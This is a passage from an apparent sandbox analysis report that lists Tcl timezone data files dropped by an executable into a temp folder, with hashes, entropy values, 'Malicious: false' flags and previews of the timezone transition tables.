SHA-512:	1590D42E88DD92542CADC022391C286842C156DA4795877EA67FEF045E0A831615C3935E08098DD71CF29C972EDC79084FFCC9AFAB7813AE74EEE14D6CFEFB9D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Port_of_Spain) {. {-9223372036854775808 -14764 0 LMT}. {-1825098836 -14400 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Porto_Acre

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	196
Entropy (8bit):	4.818272118524638
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7thtedVAIgpthKQ290msh490thB:MBaIMYdxpR290v490x
MD5:	1C0C736D0593654230FCBB0DC275313B
SHA1:	00518615F97BCFF2F6862116F4DF834B70E2D4CA
SHA-256:	5C97E6DF0FC03F13A0814274A9C3A983C474000AE3E78806B38DF9208372FD54
SHA-512:	2252D17CB4F770124586BBF35974077212B92C1587071C9F552F1EFAC15CBF92128E61C456F9F5154D212F7D66CC5BD85B76B1187D5A6F24E89E14EDF322D67F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Rio_Branco)]} {. LoadTimeZoneFile America/Rio_Branco.}.set TZData(:America/Porto_Acre) $TZData(:America/Rio_Branco).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Porto_Velho

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1030
Entropy (8bit):	4.067722644085682
Encrypted:	false
SSDEEP:	24:cQQe47o6Skl7s/oySklTs/oiSklP/otHSkl8/oNOSkll/osSklGo/ooSklR/o9SO:5P6SklVySklTpiSklo5Skl5oSklOsSkO
MD5:	CC959FB88D530F97BA9E62D17B7E5CB8
SHA1:	4BF557B361CDAB9257B111BE1C875FCEAA286FAD
SHA-256:	CA90E1529D142742367EC0728E45B5D601CDBEC591544E5C144A9A69A2FB6ACA
SHA-512:	28A28F01CD1211F73F1B1CF241D56EE5D6C92DF8319481D32BFE11FE87C778DC793A32378E5B6313731B2F206972A25356728C31F90F9583074D4DAEF27EECFD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Porto_Velho) {. {-9223372036854775808 -15336 0 LMT}. {-1767210264 -14400 0 AMT}. {-1206954000 -10800 1 AMST}. {-1191358800 -14400 0 AMT}. {-1175371200 -10800 1 AMST}. {-1159822800 -14400 0 AMT}. {-633816000 -10800 1 AMST}. {-622065600 -14400 0 AMT}. {-602280000 -10800 1 AMST}. {-591829200 -14400 0 AMT}. {-570744000 -10800 1 AMST}. {-560206800 -14400 0 AMT}. {-539121600 -10800 1 AMST}. {-531349200 -14400 0 AMT}. {-191361600 -10800 1 AMST}. {-184194000 -14400 0 AMT}. {-155160000 -10800 1 AMST}. {-150066000 -14400 0 AMT}. {-128894400 -10800 1 AMST}. {-121122000 -14400 0 AMT}. {-99950400 -10800 1 AMST}. {-89586000 -14400 0 AMT}. {-68414400 -10800 1 AMST}. {-57963600 -14400 0 AMT}. {499752000 -10800 1 AMST}. {511239600 -14400 0 AMT}. {530596800 -10800 1 AMST}. {540270000 -14400 0 AMT}. {562132800 -10800 1 AMST}. {571201200 -14400 0 AMT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Puerto_Rico

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	273
Entropy (8bit):	4.728240676465187
Encrypted:	false
SSDEEP:	6:SlSWB9X5290pbm2OH9VPMGoeVVFrZVVFUFkeF3k/eJpR/r:MBp5290lmdHvPMpe/ZZ/uFkeF3k/eJ/D
MD5:	2FB893819124F19A7068F802D6A59357
SHA1:	6B35C198F74FF5880714A3182407858193CE37A4
SHA-256:	F05530CFBCE7242847BE265C2D26C8B95B00D927817B050A523FFB139991B09E
SHA-512:	80739F431F6B3548EFD4F70FE3630F66F70CB29B66845B8072D26393ADD7DAB22675BE6DA5FBDC7561D4F3F214816AAD778B6CD0EE45264B4D6FFA48B3AC7C43
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Puerto_Rico) {. {-9223372036854775808 -15865 0 LMT}. {-2233035335 -14400 0 AST}. {-873057600 -10800 0 AWT}. {-769395600 -10800 1 APT}. {-765399600 -14400 0 AST}. {-757368000 -14400 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Rainy_River

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7840
Entropy (8bit):	3.75014960690837
Encrypted:	false
SSDEEP:	192:k+iBktTzZSJw5/9/yuvQ+hcrD57X0N41+IestuNEbYkzbXwDTIRqfhXbdXvDXpVS:k+iBmTzZSJw5/9/yuvQ6crD57X0N41+a
MD5:	9C10496730E961187C33C1AE91C8A60D
SHA1:	A77E3508859FB6F76A7445CD13CD42348CB4EBC7
SHA-256:	136F0A49742F30B05B7C6BF3BF014CC999104F4957715D0BEB39F5440D5216DF
SHA-512:	70936E65D0B439F6BE6E31E27032F10BA2EB54672647DA615744ABC7A767F197F0C7FDBCCEE0D335CBCECB6855B7BD899D1A5B97BA5083FFA42AF5F30343EA7F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Rainy_River) {. {-9223372036854775808 -22696 0 LMT}. {-2366732504 -21600 0 CST}. {-1632067200 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-923248800 -18000 1 CDT}. {-880214400 -18000 0 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {136368000 -18000 1 CDT}. {152089200 -21600 0 CST}. {167817600 -18000 1 CDT}. {183538800 -21600 0 CST}. {199267200 -18000 1 CDT}. {215593200 -21600 0 CST}. {230716800 -18000 1 CDT}. {247042800 -21600 0 CST}. {262771200 -18000 1 CDT}. {278492400 -21600 0 CST}. {294220800 -18000 1 CDT}. {309942000 -21600 0 CST}. {325670400 -18000 1 CDT}. {341391600 -21600 0 CST}. {357120000 -18000 1 CDT}. {372841200 -21600 0 CST}. {388569600 -18000 1 CDT}. {404895600 -21600 0 CST}. {420019200 -18000 1 CDT}. {436345200 -21600 0 CST}. {452073600 -18000 1 CDT}. {467794800 -21600 0 CST}. {483523200 -18000 1 CDT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Rankin_Inlet

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7366
Entropy (8bit):	3.753795978502298
Encrypted:	false
SSDEEP:	192:4w5/9/yuvQ+hcrD57X0N41+IstuNEbYkzbXwDTIRqfhXbdXvDXpVXVto//q7u37N:4w5/9/yuvQ6crD57X0N41+IstuNEbYkJ
MD5:	318E1221CBB525E852AD4154E30C9D72
SHA1:	5D107C7B01407B4716191C9BEB02017471FB2A4D
SHA-256:	FB37D25FD4860EB4AC1596F86B3B6DC7B6EDA9886C71327F91D39F5FAD64FC49
SHA-512:	77D345CA0006D391DD2F0A54075F692A34B37E99F9943C081885A745D7E0F1F6B9FC0F24AA6196A8458926CD7AD97C2B233F62FCEA11EDC80A35126B74A3C35A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Rankin_Inlet) {. {-9223372036854775808 0 0 zzz}. {-410227200 -21600 0 CST}. {-147895200 -14400 1 CDDT}. {-131565600 -21600 0 CST}. {325670400 -18000 1 CDT}. {341391600 -21600 0 CST}. {357120000 -18000 1 CDT}. {372841200 -21600 0 CST}. {388569600 -18000 1 CDT}. {404895600 -21600 0 CST}. {420019200 -18000 1 CDT}. {436345200 -21600 0 CST}. {452073600 -18000 1 CDT}. {467794800 -21600 0 CST}. {483523200 -18000 1 CDT}. {499244400 -21600 0 CST}. {514972800 -18000 1 CDT}. {530694000 -21600 0 CST}. {544608000 -18000 1 CDT}. {562143600 -21600 0 CST}. {576057600 -18000 1 CDT}. {594198000 -21600 0 CST}. {607507200 -18000 1 CDT}. {625647600 -21600 0 CST}. {638956800 -18000 1 CDT}. {657097200 -21600 0 CST}. {671011200 -18000 1 CDT}. {688546800 -21600 0 CST}. {702460800 -18000 1 CDT}. {719996400 -21600 0 CST}. {733910400 -18000 1 CDT}. {75205

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Recife

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	3.990359910189371
Encrypted:	false
SSDEEP:	24:cQHJeHAqc+Ih+j+Dd+HO+W+iW+M+A+ph+h/1+ge5+Wt+x3+evIG+M+w+w+jZ+SIW:5KAP+Ih+j+R+u+W+iW+M+A+r+hN+gU+q
MD5:	B4D04123688878D611AD09955F51B358
SHA1:	6E0946E726378F5CC9C2BE1F73A2E56166A9039B
SHA-256:	D003E821BA76CE33468AFED3AE5AFD3C85A45E88B4B82CF46E2AFCD0D3334B5A
SHA-512:	2DC6A31093E161EDAB607E04EA943D6F79A43D9B427A402506A8A2933BC891806D0919842DC25A5ECC6EF7BB90E469556EE5FD428A8AE334A6E4EC0D6C426D41
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Recife) {. {-9223372036854775808 -8376 0 LMT}. {-1767217224 -10800 0 BRT}. {-1206957600 -7200 1 BRST}. {-1191362400 -10800 0 BRT}. {-1175374800 -7200 1 BRST}. {-1159826400 -10800 0 BRT}. {-633819600 -7200 1 BRST}. {-622069200 -10800 0 BRT}. {-602283600 -7200 1 BRST}. {-591832800 -10800 0 BRT}. {-570747600 -7200 1 BRST}. {-560210400 -10800 0 BRT}. {-539125200 -7200 1 BRST}. {-531352800 -10800 0 BRT}. {-191365200 -7200 1 BRST}. {-184197600 -10800 0 BRT}. {-155163600 -7200 1 BRST}. {-150069600 -10800 0 BRT}. {-128898000 -7200 1 BRST}. {-121125600 -10800 0 BRT}. {-99954000 -7200 1 BRST}. {-89589600 -10800 0 BRT}. {-68418000 -7200 1 BRST}. {-57967200 -10800 0 BRT}. {499748400 -7200 1 BRST}. {511236000 -10800 0 BRT}. {530593200 -7200 1 BRST}. {540266400 -10800 0 BRT}. {562129200 -7200 1 BRST}. {571197600 -10800 0 BRT}. {592974000 -7200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Regina

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	3.956012642028802
Encrypted:	false
SSDEEP:	48:56ecDOBDgE+hIZVEa3lGw+6yZgTX+rNO46wYDW:86VlGS8
MD5:	7D955B277C43D51F19377A91B987FAF9
SHA1:	F2F3E11E955C3E58E21654F3D841B5B1528C0913
SHA-256:	A1FA7BF002B3BA8DCA4D52AA0BB41C047DDAF88B2E542E1FCF81CB3AAF91AA75
SHA-512:	719DEE7A932EDB9255D711E82AC0CA3FCFB07AF3EFE2EE0D887D7137F6059BEBE07F85D910CC0005391D244B4EADA16257BE49787938386FD4B5DB6D8E31D513
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Regina) {. {-9223372036854775808 -25116 0 LMT}. {-2030202084 -25200 0 MST}. {-1632063600 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1251651600 -21600 1 MDT}. {-1238349600 -25200 0 MST}. {-1220202000 -21600 1 MDT}. {-1206900000 -25200 0 MST}. {-1188752400 -21600 1 MDT}. {-1175450400 -25200 0 MST}. {-1156698000 -21600 1 MDT}. {-1144000800 -25200 0 MST}. {-1125248400 -21600 1 MDT}. {-1111946400 -25200 0 MST}. {-1032714000 -21600 1 MDT}. {-1016992800 -25200 0 MST}. {-1001264400 -21600 1 MDT}. {-986148000 -25200 0 MST}. {-969814800 -21600 1 MDT}. {-954093600 -25200 0 MST}. {-937760400 -21600 1 MDT}. {-922039200 -25200 0 MST}. {-906310800 -21600 1 MDT}. {-890589600 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-748450800 -21600 1 MDT}. {-732729600 -25200 0 MST}. {-715791600 -21600 1 MDT}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Resolute

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7362
Entropy (8bit):	3.7499369602687835
Encrypted:	false
SSDEEP:	192:tw5/9/yuvQ+hcrD57X0N41+IstuNESkzbXwDTIRqfhXbdXvDXpVXVto//q7u379L:tw5/9/yuvQ6crD57X0N41+IstuNESkzV
MD5:	224BE093D948CE13FD07C5E52D0D79D0
SHA1:	DEE0C0BB79F8D31CB023A3CA665B488A2C906BD5
SHA-256:	BF3DA96E2199A2C8683F5BF4AB1501090977C913F396804983C12DEB4DEEDD29
SHA-512:	622CFD5BE51DEE1DFDFFD909C4662D987F39C4556E9777F69A3538D920C1977FC05478C2D2DCD21BF9413D3D1FE7B5E218479CA36BBB70DD1F9CC8D4168602AF
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Resolute) {. {-9223372036854775808 0 0 zzz}. {-704937600 -21600 0 CST}. {-147895200 -14400 1 CDDT}. {-131565600 -21600 0 CST}. {325670400 -18000 1 CDT}. {341391600 -21600 0 CST}. {357120000 -18000 1 CDT}. {372841200 -21600 0 CST}. {388569600 -18000 1 CDT}. {404895600 -21600 0 CST}. {420019200 -18000 1 CDT}. {436345200 -21600 0 CST}. {452073600 -18000 1 CDT}. {467794800 -21600 0 CST}. {483523200 -18000 1 CDT}. {499244400 -21600 0 CST}. {514972800 -18000 1 CDT}. {530694000 -21600 0 CST}. {544608000 -18000 1 CDT}. {562143600 -21600 0 CST}. {576057600 -18000 1 CDT}. {594198000 -21600 0 CST}. {607507200 -18000 1 CDT}. {625647600 -21600 0 CST}. {638956800 -18000 1 CDT}. {657097200 -21600 0 CST}. {671011200 -18000 1 CDT}. {688546800 -21600 0 CST}. {702460800 -18000 1 CDT}. {719996400 -21600 0 CST}. {733910400 -18000 1 CDT}. {752050800

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Rio_Branco

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	4.045206708366327
Encrypted:	false
SSDEEP:	24:cQYEeH5uwss/uS+L/ux+y/up+a/uj+Ne/ud+Rs/uX4+G/u43+a/uo8+h/u1F+E/m:5q5ZsQt8uqwd4rghFGRhGj+tX1s0zT
MD5:	53C093ADEAA61B7ABB5B367D6D32D363
SHA1:	B8E18AD6F004FD394984A25102D5062E30A1220C
SHA-256:	FFA24B23811172EA600402CECCF4EAC78EACD5EE37CE59632BCA4F46C6BC56B1
SHA-512:	107CAC60BC625AA6D0C169FDA13A618F65CE4C1F5FBB193DE8B421D77A27AC4606624F5E7BC903CC28D305AFDF06E8FF12A5845E865BDBE7B81425AC4E67DC93
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Rio_Branco) {. {-9223372036854775808 -16272 0 LMT}. {-1767209328 -18000 0 ACT}. {-1206950400 -14400 1 ACST}. {-1191355200 -18000 0 ACT}. {-1175367600 -14400 1 ACST}. {-1159819200 -18000 0 ACT}. {-633812400 -14400 1 ACST}. {-622062000 -18000 0 ACT}. {-602276400 -14400 1 ACST}. {-591825600 -18000 0 ACT}. {-570740400 -14400 1 ACST}. {-560203200 -18000 0 ACT}. {-539118000 -14400 1 ACST}. {-531345600 -18000 0 ACT}. {-191358000 -14400 1 ACST}. {-184190400 -18000 0 ACT}. {-155156400 -14400 1 ACST}. {-150062400 -18000 0 ACT}. {-128890800 -14400 1 ACST}. {-121118400 -18000 0 ACT}. {-99946800 -14400 1 ACST}. {-89582400 -18000 0 ACT}. {-68410800 -14400 1 ACST}. {-57960000 -18000 0 ACT}. {499755600 -14400 1 ACST}. {511243200 -18000 0 ACT}. {530600400 -14400 1 ACST}. {540273600 -18000 0 ACT}. {562136400 -14400 1 ACST}. {571204800 -18000 0 ACT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Rosario

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	214
Entropy (8bit):	4.752946571641783
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7/MdVAIgp/MOF290rI5290/Msn:MBaIMY/M4p/MOF290r190/Ms
MD5:	4FC460A084DF33A73F2F87B7962B0084
SHA1:	45E70D5D68FC2DE0ACFF76B062ADA17E0021460F
SHA-256:	D1F5FFD2574A009474230E0AA764256B039B1D78D91A1CB944B21776377B5B70
SHA-512:	40045420FE88FA54DE4A656534C0A51357FBAB3EA3B9120DA15526A9DEC7EEC2C9799F4D9A72B6050474AD67490BC28540FDA0F17B7FCAF125D41CBCA96ECCDE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Argentina/Cordoba)]} {. LoadTimeZoneFile America/Argentina/Cordoba.}.set TZData(:America/Rosario) $TZData(:America/Argentina/Cordoba).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Santa_Isabel

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8445
Entropy (8bit):	3.7709584779896055
Encrypted:	false
SSDEEP:	96:Sb4I5mC2ZCAFrAdjyuqd3SHdbV2zSd61u/XZ9ma3mL9:25DarAdjyuqg9bV2x1uCp
MD5:	DCF171E7C58C232BF1F477BD038D15B8
SHA1:	0C3FFF0FDC52537C406EF2598FCBFD26831D69A7
SHA-256:	D1F9859973D8B4E98F57D097F12C32DA9A9CFF6E91F71A7355F41C22BADA6F58
SHA-512:	7370B5D5C199525CD000CEDFE58BCDD8DB8FD5E34CD923E622B6917FC1328DA53653D9B904A5F70371704BEFDB6335BA32C83869857D95CFA78620D54B9A140D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Santa_Isabel) {. {-9223372036854775808 -27568 0 LMT}. {-1514736000 -25200 0 MST}. {-1451667600 -28800 0 PST}. {-1343062800 -25200 0 MST}. {-1234803600 -28800 0 PST}. {-1222963200 -25200 1 PDT}. {-1207242000 -28800 0 PST}. {-873820800 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-761677200 -28800 0 PST}. {-686073600 -25200 1 PDT}. {-661539600 -28800 0 PST}. {-504892800 -28800 0 PST}. {-495036000 -25200 1 PDT}. {-481734000 -28800 0 PST}. {-463586400 -25200 1 PDT}. {-450284400 -28800 0 PST}. {-431532000 -25200 1 PDT}. {-418230000 -28800 0 PST}. {-400082400 -25200 1 PDT}. {-386780400 -28800 0 PST}. {-368632800 -25200 1 PDT}. {-355330800 -28800 0 PST}. {-337183200 -25200 1 PDT}. {-323881200 -28800 0 PST}. {-305733600 -25200 1 PDT}. {-292431600 -28800 0 PST}. {-283968000 -28800 0 PST}. {189331200 -28800 0 PST}. {199274400 -25200 1 PDT}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Santarem

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	4.04156999168428
Encrypted:	false
SSDEEP:	24:cQceUho6Skl7s/oySklTs/oiSklP/otHSkl8/oNOSkll/osSklGo/ooSklR/o9S8:5v6SklVySklTpiSklo5Skl5oSklOsSk8
MD5:	16E6B322ADE028816D19A348B1E9D901
SHA1:	108A88CBE875DBAD31F8AA7611AEC99BF37A6554
SHA-256:	39DF7B763BDB6153DD5916DCE4D220F9A911FCAEBC1FC617C5FF632BD83B2041
SHA-512:	20DA68089C4418E1EFFE987DB5EB6EBA6F82271C236AF1FCBFFAD5450BB2C03CC3D77CA7696965C841EE6B0DE1656FBF8350EBF6A660975B90B87D33841EF78D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Santarem) {. {-9223372036854775808 -13128 0 LMT}. {-1767212472 -14400 0 AMT}. {-1206954000 -10800 1 AMST}. {-1191358800 -14400 0 AMT}. {-1175371200 -10800 1 AMST}. {-1159822800 -14400 0 AMT}. {-633816000 -10800 1 AMST}. {-622065600 -14400 0 AMT}. {-602280000 -10800 1 AMST}. {-591829200 -14400 0 AMT}. {-570744000 -10800 1 AMST}. {-560206800 -14400 0 AMT}. {-539121600 -10800 1 AMST}. {-531349200 -14400 0 AMT}. {-191361600 -10800 1 AMST}. {-184194000 -14400 0 AMT}. {-155160000 -10800 1 AMST}. {-150066000 -14400 0 AMT}. {-128894400 -10800 1 AMST}. {-121122000 -14400 0 AMT}. {-99950400 -10800 1 AMST}. {-89586000 -14400 0 AMT}. {-68414400 -10800 1 AMST}. {-57963600 -14400 0 AMT}. {499752000 -10800 1 AMST}. {511239600 -14400 0 AMT}. {530596800 -10800 1 AMST}. {540270000 -14400 0 AMT}. {562132800 -10800 1 AMST}. {571201200 -14400 0 AMT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Santiago

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3625
Entropy (8bit):	3.8369221295859357
Encrypted:	false
SSDEEP:	96:LN0ZC/bD/BUZrHljtDqM5rgVXHLugM981i+SLWXzx6z31ho1VmTfE3syJvZ1IOqF:LiC/bD/BUZrHljtDqM5rgV7ugM981i+q
MD5:	7F98F2C2A8286463B0F1A7BBAA255FE4
SHA1:	D1D92C0CD91CDBF3C1C0CA78FAEB7C28344C5885
SHA-256:	13115FEDE9F39E883DD8975E198022AF50C57E50D9862302B6A94A95FB732E29
SHA-512:	DD44E6BC95E87E5B99B3389A0E8D1194D73FCEDC8436FBE00F9916B55CC6A9E1711CBA1BA0B473F8BE2ACB63E01CC4EFF5CA803ECBE17A0E83299742FF80DBAA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Santiago) {. {-9223372036854775808 -16966 0 LMT}. {-2524504634 -16966 0 SMT}. {-1892661434 -18000 0 CLT}. {-1688410800 -16966 0 SMT}. {-1619205434 -14400 0 CLT}. {-1593806400 -16966 0 SMT}. {-1335986234 -18000 0 CLT}. {-1335985200 -14400 1 CLST}. {-1317585600 -18000 0 CLT}. {-1304362800 -14400 1 CLST}. {-1286049600 -18000 0 CLT}. {-1272826800 -14400 1 CLST}. {-1254513600 -18000 0 CLT}. {-1241290800 -14400 1 CLST}. {-1222977600 -18000 0 CLT}. {-1209754800 -14400 1 CLST}. {-1191355200 -18000 0 CLT}. {-1178132400 -14400 0 CLT}. {-870552000 -18000 0 CLT}. {-865278000 -14400 0 CLT}. {-740520000 -10800 1 CLST}. {-736376400 -14400 0 CLT}. {-718056000 -18000 0 CLT}. {-713649600 -14400 0 CLT}. {-36619200 -10800 1 CLST}. {-23922000 -14400 0 CLT}. {-3355200 -10800 1 CLST}. {7527600 -14400 0 CLT}. {24465600 -10800 1 CLST}. {37767600 -14400 0 CLT

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Santo_Domingo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	590
Entropy (8bit):	4.346772162962135
Encrypted:	false
SSDEEP:	12:MBp5290/SyJmdHhvPu4/G/uFNM/KMVv5/+MVvYx/r0XVvpUB/B7Vvo6I8/05aVvH:cQ+DJeVu4e/uICE5FYxwdpUBZpo65VAO
MD5:	EE407C833EB0E28801B27356ABA678E3
SHA1:	DD22E7B4FFA07B7A97804E92DA3CD8772C2D7507
SHA-256:	72347F7D89EC3D7025FCC3AA0DDA2D594F11BAA12EF2AB55F1677AC4DD5AFE88
SHA-512:	3DDD1C02AB0BC3005B9CD4F58F6349D7001D55F78A51E9D363D98B23B11C78B631B81DAC762E9F18352C2DB612C05E855BB1C0156A148E720C848EBABF48371B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Santo_Domingo) {. {-9223372036854775808 -16776 0 LMT}. {-2524504824 -16800 0 SDMT}. {-1159773600 -18000 0 EST}. {-100119600 -14400 1 EDT}. {-89668800 -18000 0 EST}. {-5770800 -16200 1 EHDT}. {4422600 -18000 0 EST}. {25678800 -16200 1 EHDT}. {33193800 -18000 0 EST}. {57733200 -16200 1 EHDT}. {64816200 -18000 0 EST}. {89182800 -16200 1 EHDT}. {96438600 -18000 0 EST}. {120632400 -16200 1 EHDT}. {127974600 -18000 0 EST}. {152082000 -14400 0 AST}. {975823200 -14400 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Sao_Paulo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7678
Entropy (8bit):	3.782328041884024
Encrypted:	false
SSDEEP:	192:LdP+2+j+R+u+W+B5+M+A+r+L+v+8+h+2+M+Y+v+c+M+++v+8+/+C+jZ+E+2+A++q:LGWbb8B4
MD5:	B9596E3584EBAFEA5D0257129A03F06D
SHA1:	6FD25D7D4D7A5320D981FF001AAB57EFDB852313
SHA-256:	FA6B2AF6815C1BA6751F0807FEAB49E5E60B4C774A45A96EC6EC3563DA358463
SHA-512:	215BEACD30BC54F416C74A98B597E5B1EEDE627121BF58A12F829E55F921FD3EF9C1C6FF0F639D1929882BC0E7380E73038AA6BFD49E6E7BF28A7711802F4212
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Sao_Paulo) {. {-9223372036854775808 -11188 0 LMT}. {-1767214412 -10800 0 BRT}. {-1206957600 -7200 1 BRST}. {-1191362400 -10800 0 BRT}. {-1175374800 -7200 1 BRST}. {-1159826400 -10800 0 BRT}. {-633819600 -7200 1 BRST}. {-622069200 -10800 0 BRT}. {-602283600 -7200 1 BRST}. {-591832800 -10800 0 BRT}. {-570747600 -7200 1 BRST}. {-560210400 -10800 0 BRT}. {-539125200 -7200 1 BRST}. {-531352800 -10800 0 BRT}. {-195429600 -7200 1 BRST}. {-189381600 -7200 0 BRT}. {-184197600 -10800 0 BRT}. {-155163600 -7200 1 BRST}. {-150069600 -10800 0 BRT}. {-128898000 -7200 1 BRST}. {-121125600 -10800 0 BRT}. {-99954000 -7200 1 BRST}. {-89589600 -10800 0 BRT}. {-68418000 -7200 1 BRST}. {-57967200 -10800 0 BRT}. {499748400 -7200 1 BRST}. {511236000 -10800 0 BRT}. {530593200 -7200 1 BRST}. {540266400 -10800 0 BRT}. {562129200 -7200 1 BRST}. {571197600 -1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Scoresbysund

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6713
Entropy (8bit):	3.7831757008437528
Encrypted:	false
SSDEEP:	96:P0pq6GNOHfSPRayJvZbzmgyb9qqv95aZIhlVeDEzm:EqBOHfSPRayHbNyb9FHzm
MD5:	29C14A9AFA37EFB29DF4424EB905D3FA
SHA1:	35C7F008987D19925D2BC8C06F31B2F1B323478E
SHA-256:	424C05FE8CE2EB094A0840C97286EC3E32B03B73AE92BC34F68E4E986041615E
SHA-512:	A5F933CD082BD6D09DAF64D2245EA043D2A11A3E0E3373D3877CD4AAF4D6BB5BF9C62771C16AF097B1C9E34CF035F95967537ECD2521B9D074C3C33A43559E93
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Scoresbysund) {. {-9223372036854775808 -5272 0 LMT}. {-1686090728 -7200 0 CGT}. {323841600 -3600 0 CGST}. {338961600 -7200 0 CGT}. {354679200 0 0 EGST}. {370400400 -3600 0 EGT}. {386125200 0 1 EGST}. {401850000 -3600 0 EGT}. {417574800 0 1 EGST}. {433299600 -3600 0 EGT}. {449024400 0 1 EGST}. {465354000 -3600 0 EGT}. {481078800 0 1 EGST}. {496803600 -3600 0 EGT}. {512528400 0 1 EGST}. {528253200 -3600 0 EGT}. {543978000 0 1 EGST}. {559702800 -3600 0 EGT}. {575427600 0 1 EGST}. {591152400 -3600 0 EGT}. {606877200 0 1 EGST}. {622602000 -3600 0 EGT}. {638326800 0 1 EGST}. {654656400 -3600 0 EGT}. {670381200 0 1 EGST}. {686106000 -3600 0 EGT}. {701830800 0 1 EGST}. {717555600 -3600 0 EGT}. {733280400 0 1 EGST}. {749005200 -3600 0 EGT}. {764730000 0 1 EGST}. {780454800 -3600 0 EGT}. {796179600 0 1 EGST}. {811904400 -3600 0 EGT

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Shiprock

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
